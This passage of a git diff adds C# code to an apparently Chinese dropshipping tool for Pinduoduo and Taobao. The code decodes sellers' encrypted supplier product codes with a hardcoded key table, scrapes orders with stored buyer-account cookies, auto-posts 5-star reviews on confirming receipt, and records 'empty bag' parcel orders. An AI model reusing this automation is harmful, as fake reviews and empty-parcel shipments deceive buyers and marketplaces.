Html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + } + if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁")) + { + Thread.Sleep(90 * 1000); + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + } + pidCode = BaseRegex.GetStringJson(ref Html, @"out_goods_sn"); + if (string.IsNullOrEmpty(pidCode) && !string.IsNullOrEmpty(OutGoodId)) //没有上家 + { + pidCode = OutGoodId; + //Html = new PinduoduoApiGetProduct(Shop).GetProduct(proId); + //var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)"""); + //if (m != null && m.Count > 0) + // pidCode = m[m.Count - 1].Groups[1].Value; + //if (!string.IsNullOrEmpty(pidCode)) + goto End; + } + //if (string.IsNullOrEmpty(pidCode)) //没有上家 + //{ + // Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId); + // var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)"""); + // if (m != null && m.Count > 0) + // pidCode = m[m.Count - 1].Groups[1].Value; + // if (!string.IsNullOrEmpty(pidCode)) + // goto End; + //} + End: + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(TJM_[a-z0-9=+/]+?)"","""); + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(JM_[a-z0-9]+?)"","""); + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"[\D]([a-z0-9=+/]+?=)"","""); + if (!string.IsNullOrEmpty(pidCode)) + { + string pidCodex = BaseRegex.GetMatchRegexString(ref pidCode, @"([\d]{6,15})"); //未加密 + if (!string.IsNullOrEmpty(pidCodex)) + { + long upid = long.Parse(pidCodex); + if (upid < 999999999l) + UpId.SiteIdFrom = 2; + else + UpId.SiteIdFrom = 1; + if (pidCode.StartsWith("tb-")) + UpId.SiteIdFrom = 1; + if (pidCode.StartsWith("pdd-") || pidCode.StartsWith("pd-")) + UpId.SiteIdFrom = 2; + if (pidCode.StartsWith("al-") || pidCode.StartsWith("albb-") || pidCode.StartsWith("1688-")) + UpId.SiteIdFrom = 3; + UpId.GetOk = true; + UpId.ProductIdFrom = upid; + AddToTemp(proId); + return; + } + } + if (string.IsNullOrEmpty(pidCode)) + { + UpId.Message = "未找到加密密钥"; + AddToTemp(proId); + return; + } + + if (pidCode.Contains("TJM_")) + { + if (!string.IsNullOrEmpty(pidCode) && pidCode.Contains("|")) + pidCode = pidCode.Substring(0, pidCode.IndexOf("|")); + try + { + byte[] inArray = Convert.FromBase64String(pidCode.Replace("TJM_", "")); + idx = Encoding.UTF8.GetString(inArray); + DeCode(idx); + return; + } + catch + { + UpId.Message = "解密异常,请联系管理员"; + } + AddToTemp(proId); + return; + } + if (pidCode.Length > 3 && (pidCode.Substring(0, 3) == "PBB" || pidCode.Substring(0, 3) == "TJH")) + { + int mid = Shop == null ? BaseClass.MallId : Shop.MallId; + + if (pidCode.Contains("?")) + { + string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName); + data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode); + string urlx = BaseClass.BuildObjString("decode&act=get"); + idx = GetHtml.PostUtf8(urlx, data); + } + else if (pidCode.Contains("#")) + { + string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName); + data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode); + string urlx = BaseClass.BuildObjString("decode&act=getx"); + idx = GetHtml.PostUtf8(urlx, data); + } + else + { + idx = GetUpId(pidCode, mid); + } + DeCode(idx); + return; + } + if (pidCode.Contains("JM_")) + { + string pid = Decode(pidCode); + if (string.IsNullOrEmpty(pid)) + UpId.Message = "解密失败,字典不足"; + AddToTemp(proId); + return; + } + url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get"; + string datay = "&pdd_id=" + proId + "&table=" + (proId % 1024); + string htmly = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + datay); + if (!string.IsNullOrEmpty(htmly) && htmly.Contains("-")) + { + DeCode(idx); + return; + } + UpId.Message = "未找到解密方法,请联系管理员"; + } + + public void DeCode(string idx) + { + string rid = BaseRegex.GetMatchRegexString(idx, @"([\d]+)"); + if (string.IsNullOrEmpty(rid)) + { + UpId.Message = "解密遇到空数据"; + return; + } + UpId.ProductIdFrom = long.Parse(rid); + if (idx.StartsWith("tb-")) + UpId.SiteIdFrom = 1; + if (idx.StartsWith("pd-")) + UpId.SiteIdFrom = 2; + if (idx.StartsWith("al-")) + UpId.SiteIdFrom = 3; + if (idx.StartsWith("jx-")) + UpId.SiteIdFrom = 4; + if (idx.StartsWith("wd-")) + UpId.SiteIdFrom = 6; + UpId.GetOk = true; + } + + public bool GetServerId(long pid, out string idx) + { + idx = ""; + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get"; + string data = "&pdd_id=" + pid + "&table=" + (pid % 1024); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data); + if (html == "none") + return false; + idx = html; + return true; + } + + /// + /// 新版加密解密 + /// + /// + /// + /// + public string GetUpId(string code, int mid) + { + if (string.IsNullOrEmpty(code) || !code.Contains("PBB") && !code.Contains("TJH") || !code.Contains("|")) + return ""; + try + { + int ridMain = int.Parse(code.Substring(code.IndexOf("|") + 1)); + int ridClient = (mid % ridMain) % 26; + List k = new List(); + char[] ke = mid.ToString().ToCharArray(); + for (int i = 0; i < ke.Length; i++) + { + int j = int.Parse(ke[i].ToString()); + k.Add(j); + } + string codeNew = code.Substring(3, code.IndexOf("|") - 3); + byte[] b = Convert.FromBase64String(codeNew); + int y = 0; + for (int i = 0; i < b.Length; i++) + { + int z = b[i] - k[y] * ridClient; + if (z < 0) + z += 256; + b[i] = (byte)(z % 256); + y++; + if (y >= ke.Length) + y = 0; + } + string decode = Encoding.UTF8.GetString(b); + return decode; + } + catch (Exception) + { + return ""; + //throw; + } + + } + + private void AddToTemp(long proId) + { + if (proId == 0 || UpId.ProductIdFrom == 0) + return; + try + { + UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom); + if (!UpShopIdFromServer.UpIds.ContainsKey(proId)) + { + UpShopIdFromServer.UpIds.Add(proId, UpId); + } + } + catch + { + } + } + + /// + /// 解密密文 + /// + /// + /// + public string Decode(string code) + { + string temp = ""; + if (code.Contains("JM_DD8E5ED")) + { + UpId.SiteIdFrom = 1; + code = code.Replace("JM_DD8E5ED", ""); + int b = 0; + char[] h = code.ToCharArray(); + temp = ""; + for (int i = 0; i < h.Length + 1; i += 2) + { + char a = h[i]; + if (ShouZhangXinTb[b].ContainsKey(a)) + temp += ShouZhangXinTb[b][a]; + else + return ""; + b++; + } + } + if (code.Contains("JM_D98817C43")) + { + UpId.SiteIdFrom = 2; + code = code.Replace("JM_D98817C43", ""); + int b = 1; + char[] h = code.ToCharArray(); + temp = ""; + for (int i = 0; i < h.Length + 1; i += 2) + { + char a = h[i]; + if (ShouZhangXinTb[b].ContainsKey(a)) + temp += ShouZhangXinTb[b][a]; + else + return ""; + b++; + } + } + + long.TryParse(temp, out UpId.ProductIdFrom); + UpId.SiteId = 2; + UpId.GetOk = true; + UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom); + return temp; + } + + public static string GetJumpUrl(int siteId, long pid) + { + string url = ""; + if (pid > 9900000000) + { + if (siteId != 3) + { + url = "http://taoke.qixiaoke.com/first.php?pid=mm_15630535_36114777_129010993&product_id=" + pid; + if (!string.IsNullOrEmpty(BaseClass.AlimamaPid) && !string.IsNullOrEmpty(BaseClass.AlimamaDomain)) + url = "http://" + BaseClass.AlimamaDomain + "/first.php?pid=" + BaseClass.AlimamaPid + "&product_id=" + pid; + } + else + { + url = "https://detail.1688.com/offer/" + pid + ".html"; + } + + } + if (pid < 9900000000) + { + url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid; + } + return url; + } + + public void Ini() + { + ShouZhangXinTb.Clear(); + ShouZhangXinPdd.Clear(); + string[] l = DeCodeString.Split('\n'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t")) + continue; + string[] li = l[i].Split('\t'); + string c = li[0]; + string id = li[1]; + if (c.Contains("JM_DD8E5ED")) + { + int b = 0; + c = c.Replace("JM_DD8E5ED", ""); + char[] h = c.ToCharArray(); + char[] s = id.Trim().ToCharArray(); + for (int j = 0; b < 12 && b < s.Length; j += 2) + { + if (!ShouZhangXinTb.ContainsKey(b)) + ShouZhangXinTb.Add(b, new Dictionary()); + char a = h[j]; + char d = s[b]; + if (!ShouZhangXinTb[b].ContainsKey(a)) + ShouZhangXinTb[b].Add(a, d); + if (!ShouZhangXinTb[b].ContainsKey(d)) + ShouZhangXinTb[b].Add(d, a); + b++; + } + } + if (c.Contains("JM_D98817C43")) + { + int b = 0; + c = c.Replace("JM_D98817C43", ""); + char[] h = c.ToCharArray(); + char[] s = id.Trim().ToCharArray(); + for (int j = 0; b < 12 && b < s.Length; j += 2) + { + if (!ShouZhangXinPdd.ContainsKey(b)) + ShouZhangXinPdd.Add(b, new Dictionary()); + char a = h[j]; + char d = s[b]; + if (!ShouZhangXinPdd[b].ContainsKey(a)) + ShouZhangXinPdd[b].Add(a, d); + if (!ShouZhangXinPdd[b].ContainsKey(d)) + ShouZhangXinPdd[b].Add(d, a); + b++; + } + } + } + string allMun = "0123456789"; + foreach (KeyValuePair> key in ShouZhangXinTb) + { + string noHad = allMun; + string noReplace = allMun + "ABCDEF"; + string temp = ""; + foreach (KeyValuePair ke in key.Value) + { + noHad = noHad.Replace(ke.Value.ToString(), ""); + noReplace = noReplace.Replace(ke.Key.ToString(), ""); + temp += ke.Key + " = " + ke.Value + "\r\n"; + } + if (noHad.Length == 1) + { + char[] no = noReplace.ToCharArray(); + foreach (char c in no) + { + key.Value.Add(c, char.Parse(noHad)); + } + } + } + + foreach (KeyValuePair> key in ShouZhangXinPdd) + { + string noHad = allMun; + string noReplace = allMun + "ABCDEF"; + string temp = ""; + foreach (KeyValuePair ke in key.Value) + { + noHad = noHad.Replace(ke.Value.ToString(), ""); + noReplace = noReplace.Replace(ke.Key.ToString(), ""); + temp += ke.Key + " = " + ke.Value + "\r\n"; + } + if (noHad.Length == 1) + { + char[] no = noReplace.ToCharArray(); + foreach (char c in no) + { + key.Value.Add(c, char.Parse(noHad)); + } + } + } + ShouZhangXinPdd[9] = ShouZhangXinTb[10]; + + //string t = Decode("JM_DD8E5EDC3643D01817BAEC21C67352"); + } + + public string DeCodeString = @"JM_DD8E5EDC3542D11713B9EB21C07752 564961026602 +JM_DD8E5EDC3642D01710B8EF21C47754 554862166204 +JM_DD8E5EDC3641D0191BB8E82FC67658 557889118018 +JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306 +JM_DD8E5EDC3545DF191BB9ED25C07558 563789042628 +JM_DD8E5EDC3542D0171AB0ED21C57555 564868946325 +JM_DD8E5EDC364FD81713BBEC21C47151 559061256261 +JM_DD8E5EDC3542DB1913BEED21C07353 564381746643 +JM_DD8E5EDC3641DE111ABDED24C47F57 557608443287 +JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306 +JM_DD8E5EDC364ED81514BEE82FC77250 558046718150 +JM_DD8E5EDC3642D01710B8EF21C47754 554862166204 +JM_DD8E5EDC3641DB1512BEEF26C27251 557340761451 +JM_DD8E5EDC3543DF1016B1EF27C57050 565714860370 +JM_DD8E5EDC374FDD1715B8E923C07152 549567104662 +JM_DD8E5EDC3146DC1716BBE82EC37356 520464219546 +JM_DD8E5EDC3746DE1511BFE820C37751 540643617501 +JM_DD8E5EDC3643DA191ABDEB20C77E56 555288427196 +JM_DD8E5EDC3545DA1214B9EA25CF7056 563236032976 +JM_DD8E5EDC3543DF1812BDE020C17257 565790497757 +JM_DD8E5EDC3545DB131ABCE021C17E50 56332859690 +JM_DD8E5EDC3542D01914B0EB2FC77F58 564886928188 +JM_DD8E5EDC3543DE1115BEEB22C07259 565607725659 +JM_DD8E5EDC3540D91611BBED26C47659 566173241219 +JM_DD8E5EDC3544D0111BBCED27CF7351 562809540941 +JM_DD8E5EDC3740DA1211BFED2FC67F56 546233648086 +JM_DD8E5EDC374FDD1914BAEB21C07354 549586326644 +JM_DD8E5EDC3543D81313BFEC24C47E50 565021653290 +JM_DD8E5EDC3141D01316BBE923C57755 527824204305 +JM_D98817C43B40DC1415B9E022CE 864570958 +JM_D98817C43A44DE1212BCE827 92630510 +JM_D98817C43142DD1814BDED23C0 245964446 +JM_D98817C43B40DC1415B9E022CE 864570958 +JM_D98817C43445DC1310BCE927CF 734225009 +JM_D98817C43446DD1014BAEF23C4 705163642 +JM_D98817C43440D81116BBEA21C0 760042366 +JM_D98817C43A45D0121BBDEC22CF 938394559 +JM_D98817C4354FDD1017BAE124C0 695153836 +JM_D98817C4354FDA191BB9EC21C7 692890561 +JM_D98817C43547DD1215BFEA2E 61537639 +JM_D98817C43445DF1313B8E82F 73721118 +JM_D98817C43045DD1413BAE120C2 335513874 +JM_D98817C43546DA1615BBED23C6 602772440 +JM_D98817C43140DF141ABFE12FC4 267586882 +JM_D98817C43541D11910BDE827C4 679824102 +JM_D98817C43446D91316BEE02F 70124798 +JM_D98817C43440D11110B1EA25C4 769028322 +JM_D98817C43246DB1316BBEE25C27E 1032427249 +JM_D98817C43643DC121ABFED21C7 554386461 +JM_D98817C43A46DF131ABAEF23 90728364 +JM_DD8E5EDC3741DF1011B8E120CE7F59 547713187889 +JM_DD8E5EDC3141DF1210B9E923CE7057 527732004877 +JM_DD8E5EDC374EDB1213B1E922CF7553 548331805923 +JM_DD8E5EDD374FDD1013B8EF22C47E 44951116529 +JM_DD8E5EDC3742D81111BBEA20C27355 544003237445 +JM_DD8E5EDC3745D91217B9E12FC27354 543135088444 +JM_DD8E5EDC3547DF1013B1E120C17F57 561711887787 +JM_DD8E5EDC3747D81214BDEA2ECF7051 541036439971 +JM_DD8E5EDC3041D1151AB1E122C37254 537948885554 +JM_DD8E5EDC3640DB131AB9EC2FC37E52 556328058592 +JM_DD8E5EDC3646DE1112B8EF25CF7256 550600162956 +JM_DD8E5EDC3641DA151ABFEC2FC57751 557248658301 +JM_DD8E5EDC3640DC1415B1ED2ECE7352 556457849842 +JM_DD8E5EDC3045DF1511BDEA21C17F51 533743436781 +JM_DD8E5EDC3147DB1311BBE923C77457 521323204137 +JM_DD8E5EDC364EDC1811B1E821C67253 558493816053 +JM_DD8E5EDD3743D01117BDEE26C073 44580547164 +JM_DD8E5EDD3144DC1014B1E12EC673 42241688904 +JM_DD8E5EDD374ED01114BCEB20C174 44880652773 +JM_DD8E5EDC304EDB1712B9E926C27E54 538360001494 +JM_DD8E5ED83B43D91217B9EA2FC276 18513503841 +JM_DD8E5EDC3142DC1814BDEA21C37652 524496436512 +JM_D98817C43645DD1512B0EC20 53540957 +JM_D98817C43142D81917BFE826C2 240856114 +JM_D98817C43543D0171AB0EF23C0 658689646 +JM_D98817C4314ED8131BB8EB 2802912 +JM_D98817C4364FDA1212B0E821CF 592309169 +JM_D98817C43247D01612B1EC2E 11870859 +JM_D98817C43546DB1316BDE8 6032441 +JM_D98817C4314ED8131BB8EB 2802912 +JM_D98817C4364FDA1212B0E821CF 592309169 +JM_D98817C43247D01612B1EC2E 11870859 +JM_D98817C43546DB1316BDE8 6032441 +JM_D98817C4324EDB1110B9E027 18302090 +JM_D98817C43743DB1113B8E92FCF 453011089 +JM_DD8E5EDB3345DB1215BDEE2FC076 20333747861 +JM_DD8E5EDB3340DA1414B8E82EC474 20625611923 +JM_DD8E5EDD3347D91714BAE024C27E 40116639349 +JM_DD8E5ED83346D91911B0EC2FC676 10018395801 +JM_DD8E5EDA3545DB1016B0EF2FC571 36331496836 +JM_D98817C43245D81312BFEE22C4 130206752 +JM_D98817C43041D91617BCEA25C7 371755321 +JM_D98817C43546DB181AB0E0 6039899 +JM_D98817C43140DA1412B9EE 2625007 +JM_D98817C43543D0171AB0EF23C0 658689646 +JM_D98817C43142D81917BFE826C2 240856114 +JM_D98817C43245DD1417BFEF24 13555663 +JM_D98817C43246DB1211B9EF20C375 1033306752 +JM_D98817C43A41D11315BCE920C6 979275070 +JM_D98817C4324FDF1816B9EC23C2 197940544 +JM_D98817C43446DB1610BCEC 7037255 +JM_D98817C43544D0171ABAEB27C0 628683206 +JM_D98817C43745DF1916BBE126C3 437842815 +JM_D98817C4304EDC1913B0EA26C4 384819312 +JM_D98817C43A42D11713B1E120C3 949618875 +JM_D98817C43246DC1416BEEB24C1 104547237 +JM_D98817C43A4FDF1815BDEC21C2 997974564 +JM_D98817C43544D91115BCEE2FC5 621075783 +JM_D98817C43A42DA111BBEE9 9420970 +JM_D98817C43B40DA131BBFEA26C7 862296311 +JM_D98817C4324FDE1712B9E820 19660017 +JM_D98817C43140DF191BB8EF 2678916 +JM_D98817C43045DA1111BCEE26 33203571 +JM_D98817C43544DF1711BAE0 6276339 +JM_D98817C43447DE1011B9E925CF 716130029 +JM_D98817C4304FD01310BDE820C1 398224177 +JM_D98817C43246D81811B8ED27CE73 1009314084 +JM_D98817C4364FD01017BEE127CF 598157809 +JM_D98817C43247D01217BEE122 11835785 +JM_D98817C43544D01017B8E92FC0 628151086 +JM_D98817C43545DA121ABAE020C5 632383973 +JM_D98817C4304FD11116B8EB27C6 399041200 +JM_D98817C43A43D1101ABEE020C6 959187970 +JM_D98817C43241DC1313BEED27 17421740"; + } + public class UpShopIdBase + { + public int SiteId = 0; + public long ProductId = 0; + public int SiteIdFrom = 0; + public long ProductIdFrom = 0; + public string Url = ""; + public string UpCode + { + get + { + switch (SiteIdFrom) + { + case 1: + return "tb-" + ProductIdFrom; + case 2: + return "pd-" + ProductIdFrom; + case 3: + return "al-" + ProductIdFrom; + } + return ""; + } + } + public bool GetOk = false; + public string Message = ""; + } + + public class UpShopIdFromServer + { + /// + /// 上家id队列:id , site_id +'000' + productid + /// + public static Dictionary UpIds = new Dictionary(); + } +} diff --git a/Work/AutoConfirmExpress.cs b/Work/AutoConfirmExpress.cs new file mode 100644 index 0000000..1653b97 --- /dev/null +++ b/Work/AutoConfirmExpress.cs @@ -0,0 +1,621 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using AllBase; +using System.IO; +using System.Windows.Forms; +using Work.Tips; +using System.Threading.Tasks; +using System.Linq; +using Work.Pinduoduo; +using Work.Taobao; +using Work.BuyUsers; + +namespace Work +{ + public class AutoConfirmExpress + { + public static List ExpressList = new List(); + public int BuyType; + public string Cookies = ""; + + public static List ordersx = new List();//存储已发货的订单--拍单 + public static Dictionary beforeOrderx = new Dictionary(); + + public static List ordersp = new List();//存储已发货的订单--拼单 + public static Dictionary beforeOrderp = new Dictionary(); + + public Dictionary Province = new Dictionary(); + public AutoConfirmExpress() + { + + } + + public AutoConfirmExpress(string cookies) + { + Cookies = cookies; + } + + public AutoConfirmExpress(int buyType, string cookies) + { + Cookies = cookies; + BuyType = buyType; + if (ExpressList.Count > 0) + { + return; + } + var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"([^<]+?)"); + for (int i = 0; i < m.Count; i++) + { + string key = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + KeyValueBase k = new KeyValueBase(key, value); + ExpressList.Add(k); + } + } + + public AutoConfirmExpress(int buyType) + { + BuyType = buyType; + if (ExpressList.Count > 0) + { + return; + } + var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"([^<]+?)"); + for (int i = 0; i < m.Count; i++) + { + string key = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + KeyValueBase k = new KeyValueBase(key, value); + ExpressList.Add(k); + } + } + + public static List TaobaoOrder = new List(); + + public void GetTaobao(string cookies) + { + //Dictionary>> chars = new Dictionary>>(); + + string url = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&tabCode=waitConfirm"; + string refere = url; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, cookies); + html = GetHtml.Decode(html); + if (!string.IsNullOrEmpty(html)) + html = html.Replace("\\\"", "\"").Replace("\\/", "/"); + int page = BaseRegex.GetIntJson(ref html, "totalPage"); + for (int k = 1; k <= page; k++) + { + if (k != 1) + { + //string data = + // "buyerNick=&dateBegin=0&dateEnd=0&lastStartRow=&logisticsService=&options=0&orderStatus=&pageNum=" + k + // + "&pageSize=15&queryBizType=&queryOrder=desc&rateStatus=&refund=&sellerNick=&prePageNo=2"; + string data = "lastStartRow=&options=0&orderStatus=SEND&pageNum=" + k + "&pageSize=15&queryBizType=&queryOrder=desc&tabCode=waitConfirm&prePageNo=" + (k - 1); + url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + Thread.Sleep(5 * 1000); + } + + var m = BaseRegex.GetMatchRegex(ref html, @"\{""extra"":([\w\W]+?)""quantity"":""([\d]+)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string oid = BaseRegex.GetLongJson(ref list, "id").ToString(); + if (oid == "553074309923804790") + { + + } + //if (!beforeOrder.ContainsKey(oid)) + //{ + // continue; + //} + //根据上家的订单从数据库获取此订单 + + string status = BaseRegex.GetStringJson(ref list, "tradeStatus"); + if (status != "WAIT_BUYER_CONFIRM_GOODS" && status != "TRADE_BUYER_SIGNED" && status != "TRADE_CLOSED" && status != "TRADE_FINISHED") + { + continue; + } + string sell = BaseRegex.GetMatchRegexString(ref list, @"""seller"":\{([^\}]+?)\}"); + long shopId = BaseRegex.GetLongJson(ref sell, "id"); + url = "https://wuliu.taobao.com/user/order_detail_new.htm?trade_id=" + oid + "&seller_id=" + shopId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false); + Thread.Sleep(1500); + string no = BaseRegex.GetMatchRegexString(ref html, + @"\s+([^<]+?)"); + string company = BaseRegex.GetMatchRegexString(ref html, + @"\s+([^<]+?)"); + if (string.IsNullOrEmpty(no) || string.IsNullOrEmpty(company)) + { + continue; + } + no = no.Trim(); + company = company.Trim(); + if (company == "中国邮政") + { + company = "邮政快递包裹"; + } + var express = GetExpressId(company); + if (express == null) + { + LogSave.Add("没有找到快递公司"); + continue; + } + company = express.Value; + int companyId = int.Parse(express.Key); + //string orderId = beforeOrder[oid]; + } + } + + } + + public KeyValueBase GetExpressId(string company) + { + if (ExpressList.Count == 0) + { + var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"([^<]+?)"); + for (int i = 0; i < m.Count; i++) + { + string key = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + KeyValueBase k = new KeyValueBase(key, value); + ExpressList.Add(k); + } + } + + for (int i = 0; i < ExpressList.Count; i++) + { + if (ExpressList[i].Value == company || ExpressList[i].Value.Replace("快递", "速递") == company || ExpressList[i].Value.Replace("快递", "速运") == company) + return ExpressList[i]; + } + for (int i = 0; i < ExpressList.Count; i++) + { + int subNum = 2;//截取的长度 + if (ExpressList[i].Value.Contains("邮政") && ExpressList[i].Value.Length > 3 && company.Length > 3) + { + subNum = 4; + } + if (ExpressList[i].Value.Length > 1 && company.Length > 1 && ExpressList[i].Value.Substring(0, subNum) == company.Substring(0, subNum)) + return ExpressList[i]; + } + return null; + } + + + #region 新方式获取买手号拍单物流信息 + + #endregion + + #region 从拼多多买手获取上家发货的物流信息后,自动购买快递单 + + public string IsBuyEmptyBag(string orderId) + { + string data = UserLogin.GetSignaturex(); + StringBuilder s = new StringBuilder(); + s.Append("&order_id=" + orderId); + string url = BaseClass.BuildObjString("pay_group_order&act=get_empty_id"); + string html = GetHtml.PostUtf8(url, data + s); + + return html; + } + + #region 将上家Id存到txt + public static void PreserveBuyEmptyBags(string orderId) + { + string path = Environment.CurrentDirectory + "\\temp\\emptybag_temp"; + + try + { + //判断文件路径是否存在 + DirectoryInfo directory = new DirectoryInfo(path); + bool isHas = directory.Exists; + if (!isHas)//若文件路径不存在则创建 + { + isHas = FileBase.DirectoryCreate(path); + } + if (isHas) + { + string file = "BuyEmptyBag.txt"; + + string filePath = Environment.CurrentDirectory + "\\temp\\emptybag_temp\\" + file; + + //FileStream fileStream = new FileStream(filePath, FileMode.Create); + StreamWriter streamWriter = new StreamWriter(filePath, true); + + string content = orderId; + + streamWriter.Write(content + "\r\n"); + + streamWriter.Flush(); + streamWriter.Close(); + //fileStream.Close(); + + + } + } + catch (Exception) + { + + //throw; + } + + } + + + #endregion + + #endregion + + #region 从服务端获取已发货的订单 + public void GetConfirmOrders() + { + int page = 1; + string url, html; + + for (int p = 0; p < page; p++) + { + Thread.Sleep(1000); + string data = UserLogin.GetSignaturex(); + url = BaseClass.BuildObjString("pay_group_order&act=get_confirm_order&buy_type=" + BuyType + "&page=" + p); + html = GetHtml.PostUtf8(url, data); + page = BaseRegex.GetIntValue(html, "page"); + if (string.IsNullOrEmpty(html)) + { + LogSave.Add("拼单", "获取订单列表网络异常,请稍后重试"); + return; + } + var mm = BaseRegex.GetMatchRegex(ref html, "]+?)>"); + for (int i = 0; i < mm.Count; i++) + { + string list = mm[i].Groups[0].Value; + string orderId = BaseRegex.GetStringJson(ref list, "order_id_buy"); + string orderIdb = BaseRegex.GetStringJson(ref list, "order_id"); + if (string.IsNullOrEmpty(orderId)) + { + continue; + } + if (BuyType == 1) + { + var isHas = ordersp.Find(x => x != null && x == orderId); + if (isHas == null) + ordersp.Add(orderId); + + if (!beforeOrderp.ContainsKey(orderId)) + beforeOrderp.Add(orderId, orderIdb); + } + else + { + + var isHas = ordersx.Find(x => x != null && x == orderId); + if (isHas == null) + ordersx.Add(orderId); + + if (!beforeOrderx.ContainsKey(orderId)) + beforeOrderx.Add(orderId, orderIdb); + } + } + } + } + #endregion + + /// + /// 订单确认收货 + /// + /// + /// + public void ConfirmOrder(string oid, string goods_id) + { + string url = "http://apiv4.yangkeduo.com/order/" + oid + "/received?pdduid=" + BaseClass.PddUid + "&is_back=1"; + string data = "{}"; + string refere = BaseClass.PddMobileUrlx + "orders.html?refer_page_name=login&refer_page_id=login_1513005785399_B4Dxk8TYgA&type=3&order_index=0"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + + refere = BaseClass.PddMobileUrlx + "comments.html?order_sn=" + oid + "&goods_id=" + goods_id + + "&page_el_sn=99664&type=3&refer_page_name=my_order&refer_page_id=my_order_1513006052449_n43miXeWuI&refer_page_sn=10032&refer_page_el_sn=99664"; + url = "http://apiv4.yangkeduo.com/v2/order/goods/review?pdduid=" + BaseClass.PddUid; + data = "{\"goods_id\":" + goods_id + ",\"order_sn\":\"" + oid + "\",\"desc_score\":5,\"logistics_score\":5,\"service_score\":5,\"comment\":\"\",\"pictures\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + if (html.Contains("rating_id")) + { + LogSave.Add("拼单", "确认收货成功:" + oid); + } + Thread.Sleep(300); + } + + public bool UpdateServer(string order_id, string shippingName, string trackingNumber, int expressId, string oId, string status) + { + StringBuilder s = new StringBuilder(); + if (status != "发货成功" && status != "快递单发货成功" && status != "错误单发货成功" && status != "单号修改成功" && !status.Contains("单号修改失败"))//已发货订单不改成上家发货 + { + s.Append("&status=" + 8);//上家发货 + } + s.Append("&oid=" + order_id); + s.Append("&express_name=" + shippingName); + s.Append("&express_id=" + expressId); + s.Append("&express_no=" + trackingNumber); + string now = BaseClass.GetServerTimeString().ToString("yyyy-MM-dd HH:mm:ss"); + s.Append("&get_up_express_time=" + now); + s.Append("&get_time=1"); + string data = UserLogin.GetSignaturex(); + string url = BaseClass.BuildObjString("pay_group_order&act=updatex&buy_type=" + BuyType); + string html = GetHtml.PostUtf8(url, data + s); + if (html != "ok") + { + Thread.Sleep(10 * 1000); + data = UserLogin.GetSignaturex(); + html = GetHtml.PostUtf8(url, data + s); + } + if (html != "ok") + { + Thread.Sleep(30 * 1000); + data = UserLogin.GetSignaturex(); + html = GetHtml.PostUtf8(url, data + s); + } + if (html != "ok") + { + //LogSave.Add("拼单", "自动提交物流信息失败,请检查网络"); + string msg = "【订单:" + order_id + "】 获取上家物流更新到服务器异常" + html + "\r\n\r\n"; + FileBase.WriteTxt("\\temp\\UpdUpExpLog", "updUpExpLog", msg, false); + return false; + } + else + { + + return true; + } + } + + #region 获取进价 + public string CheckOrderPrice(string orderId_buy, string orderId, string payMobile) + { + string buyPrice = ""; + //string provinceName = ""; + //string cityName = ""; + //string districtName = ""; + //string shippingAddress = ""; + string addressDetail = ""; + string receiveName = ""; + string mobile = ""; + if (orderId_buy.Contains("-")) + { + + var payAccount = PddBuyUser.buyUserCookies.First(x => x.Value.UserName == payMobile); + string cookies = ""; + for (int j = 0; j < payAccount.Value.Cookies.Count; j++) + { + cookies += payAccount.Value.Cookies[j].Name + "=" + payAccount.Value.Cookies[j].Value + "; "; + } + + string url = BaseClass.PddMobileUrl + "order.html?order_sn=" + orderId_buy + + "&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032"; + string refere = BaseClass.PddMobileUrl; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, 